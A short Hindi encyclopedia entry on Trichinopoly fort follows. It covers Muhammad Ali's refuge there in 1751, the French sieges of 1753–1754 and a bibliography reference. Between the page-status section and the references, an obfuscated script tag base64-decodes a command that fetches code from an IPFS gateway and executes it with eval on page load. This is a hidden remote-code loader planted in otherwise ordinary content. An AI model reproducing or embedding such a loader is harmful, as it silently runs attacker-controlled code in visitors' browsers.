त्रिचनापल्ली

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

त्रिचनापल्ली कर्नाटक का एक महत्त्वपूर्ण दुर्ग है। यहाँ कर्नाटक की मसनद के दावेदार मुहम्मद अली ने 1751 ई. में शरण ली थी।

  • फ़्राँसीसी तथा उनके आश्रित चन्दा साहब ने जब अर्काट को अपने अधिकार में कर लिया, तो उन्हें अपना घेरा उठा लेना पड़ा।
  • 1753 ई. में यहाँ पर पुन: फ़्राँसीसियों के द्वारा घेरा डाला गया, किन्तु 1754 ई. में अंग्रेज़ों ने इस घेरे को तोड़ दिया।
  • यह तब तक कर्नाटक के नवाब के अधीन रहा, जब तक भारतीय ब्रिटिश साम्राज्य में नहीं मिला लिया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 193।

संबंधित लेख